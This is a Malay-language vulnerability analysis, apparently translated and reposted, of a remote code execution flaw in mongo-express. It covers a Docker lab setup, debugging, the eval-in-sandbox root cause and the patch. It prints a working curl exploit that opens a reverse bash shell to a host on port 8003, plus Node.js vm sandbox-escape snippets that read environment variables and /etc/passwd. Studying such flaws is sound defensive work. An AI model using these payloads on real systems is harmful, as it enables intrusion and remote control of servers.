Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Analisis kes kelemahan pelaksanaan kod jauh

Analisis kes kelemahan pelaksanaan kod jauh

WBOY
WBOYke hadapan
2023-05-11 16:46:061562semak imbas

0x01 Kenali mongo-express<br>

mongo-express ialah antara muka pengurusan Web Pentadbir MongoDB, ditulis menggunakan NodeJS, Express dan Bootstrap3. Pada masa ini, mongo-express sepatutnya menjadi antara muka pengurusan pentadbir MongoDB dengan paling banyak bintang di Github. Mudah digunakan dan mudah digunakan, ia telah menjadi pilihan ramai orang untuk menguruskan mongo.

Analisis kes kelemahan pelaksanaan kod jauh

0x02 Sediakan persekitaran penyahpepijatan <br>

0x1 Mulakan perkhidmatan docker <br>

Membaca buletin keselamatan GitHub rasmi , kami mendapati Kerentanan menjejaskan semua versi di bawah 0.54.0. Kami memilih 0.49 sebagai contoh untuk ujian Memandangkan persekitaran kerentanan ini juga memerlukan pangkalan data MongoDB, kami boleh membinanya dengan cepat dengan melaksanakan arahan docker berikut:

  • Bina pangkalan data MongoDB<br>

docker run --name test -d mongo:3.2

  • Bina mongo-express yang mengandungi kerentanan dan sambungkan ke pangkalan data MongoDB di atas: <br>

docker run -d -p 8081:8081 --link test:mongo mongo-express:0.49

Semak log untuk mengesahkan bahawa sambungan adalah berjaya.

Analisis kes kelemahan pelaksanaan kod jauh

0x2 Hidupkan pilihan penyahpepijatan nodejs <br>

Helah diperlukan di sini Jika anda ingin menyahpepijat nodej, anda perlu menambah -. -periksa parameter apabila bermula. Buat pengubahsuaian berikut pada skrip permulaan docker

Analisis kes kelemahan pelaksanaan kod jauh

docker restart 183

Guna docker exec -it 183 bash untuk menyambung ke docker untuk menyemak sama ada perkhidmatan nyahpepijat dihidupkan

Analisis kes kelemahan pelaksanaan kod jauh

Buka sahaja port 9229 seperti yang ditunjukkan dalam gambar di atas. Selagi hos luaran boleh menyambung ke port 9229, anda boleh menggunakan pemalam krom untuk nyahpepijat Anda boleh menggunakan frp untuk memajukan port, atau menggunakan parameter docker -p 9229:9229 untuk pemprosesan.

0x3 Chrome DevTools<br>

Menggunakan pemalam chrome, anda boleh nyahpepijat nodej seperti menyahpepijat skrip javascript, dan ia juga sangat mudah untuk dikendalikan.

Muat turun pemalam nyahpepijat dahulu

Analisis kes kelemahan pelaksanaan kod jauh

Buka about:inspect in chrome devtools telah menyokong penyahpepijatan Nodejs pada Mei 2016, klik Buka DevTools khusus untuk Nod

Analisis kes kelemahan pelaksanaan kod jauh

Konfigurasikan alamat sambungan dan port

Analisis kes kelemahan pelaksanaan kod jauh

Langkah seterusnya adalah seperti menyahpepijat js

Analisis kes kelemahan pelaksanaan kod jauh

Hantar paket ujian, cawangan penghalaan boleh diputuskan sambungan, dan kemudian mula menyahpepijat kelemahan ini.

<br>
rrree

curl http://127.0.0.1:8081/checkValid -d 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" bash -i >& /dev/tcp/192.168.43.176/8003 0>&1 2>&1")'

Analisis kes kelemahan pelaksanaan kod jauh

0x03 Penyahpepijatan kerentanan dan analisis prinsip

rentetan ialah parameter toBSON BSON ialah format data biasa dalam MongoDB dan merupakan saudara terdekat JSON. tetapi Terdapat banyak perbezaan daripada format data JSON Walau bagaimanapun, semua operasi berkaitan BSON dalam mongo-express, seperti mencipta dokumen baharu (serupa dengan operasi sisipan dalam pangkalan data lain), perlu melalui fungsi toBSON(). Analisis kes kelemahan pelaksanaan kod jauh

Contohnya, operasi berikut

Apabila aliran kod mencapai bson.toBSON, fungsi eval akan dicetuskan kerana nodejs boleh digunakan sebagai a bahasa back-end, fungsi eval berjalan pada bahagian pelayan boleh menyebabkan suntikan arahan dan membahayakan sistem. Analisis kes kelemahan pelaksanaan kod jauh

<br>
<br>
exp.checkValid = fungsi (req, res) {var doc = req.body.document;cuba { bson.toBSON(doc);} tangkap (err) { console.error(err); res.send('Invalid');}res.send('Sah'); };

<br>

exports.toBSON = fungsi (rentetan) { var kotak pasir = exports.getSandbox(); string = string.replace(/ISODate(/g, 'new ISODate('); string = string.replace(/Binary(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),'); vm.runInNewContext('doc = eval((' + string + '));', kotak pasir); return sandbox.doc;};

Menurut analisis sumber kod, rentetan parameter toBSON ialah dokumen dalam req.body, jadi kami boleh mengawal bahagian ini. Anda boleh menemui fungsi vm.runInNewContext, iaitu kotak pasir maya. Oleh itu, kami akan menganalisis cara memintas perlindungan kotak pasir dalam bahagian seterusnya.

Pintas kotak pasir 0x04 nodejs <br>

Kotak pasir ialah persekitaran bebas yang boleh melaksanakan kod tidak dipercayai dengan selamat tanpa menjejaskan kod luaran sebenar. Pelaksanaan kod selalunya dihadkan dalam kotak pasir. Modul VM menyediakan API untuk menyusun dan menjalankan kod dalam konteks mesin maya VM. Gunakan modul VM untuk menjalankan kod dalam persekitaran kotak pasir. Kod berjalan menggunakan konteks V8 yang berbeza, iaitu pembolehubah globalnya berbeza daripada kod lain. Tetapi kod dalam kotak pasir masih boleh mengakses proses Node. Kami sering menggunakan kaedah ini untuk memintas.

Fenomena 0x1<br>

vm.js

<br>
<br>

"use strict";const vm = require("vm");const xyz = vm.runInNewContext(` this.constructor.constructor('return this.process.env')()`);console.log(xyz);

Analisis kes kelemahan pelaksanaan kod jauh

Anda boleh lihat this.process.env Maklumat proses nodejs diperoleh, yang menunjukkan bahawa adalah mungkin untuk beralih kembali ke program utama untuk melaksanakan arahan sistem.

Penjelasan 0x2 <br>

Dalam javascript ini menunjuk ke objek yang dimilikinya, jadi apabila kita menggunakannya, ia sudah menunjuk ke objek di luar konteks VM. Kemudian .constructor yang mengakses ini mengembalikan Object Constructor, dan .constructor yang mengakses Object Constructor mengembalikan Function constructor. Pembina fungsi adalah seperti fungsi tertinggi dalam javascript yang membolehkan akses global. Pembina Fungsi membenarkan penjanaan fungsi daripada rentetan, dengan itu melaksanakan kod sewenang-wenangnya. Jadi kita boleh menggunakannya untuk kembali ke proses utama. Kami kemudiannya boleh menggunakannya untuk mengakses proses utama dan melaksanakan RCE.

<br>
<br>

"use strict";const vm = require("vm");const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);console.log(xyz);

Begitu juga, fungsi vm2 juga boleh dipintas , Mari kaji dengan merujuk kepada teks asal https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html

tampung kerentanan 0x05<br>

Analisis kes kelemahan pelaksanaan kod jauh

Analisis kes kelemahan pelaksanaan kod jauh

Berikut ialah dua gambar untuk menggambarkan segala-galanya Gunakan mongo-query-parser untuk menghuraikan data BSON dan menggantikannya terus daripada sumber.

Atas ialah kandungan terperinci Analisis kes kelemahan pelaksanaan kod jauh. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam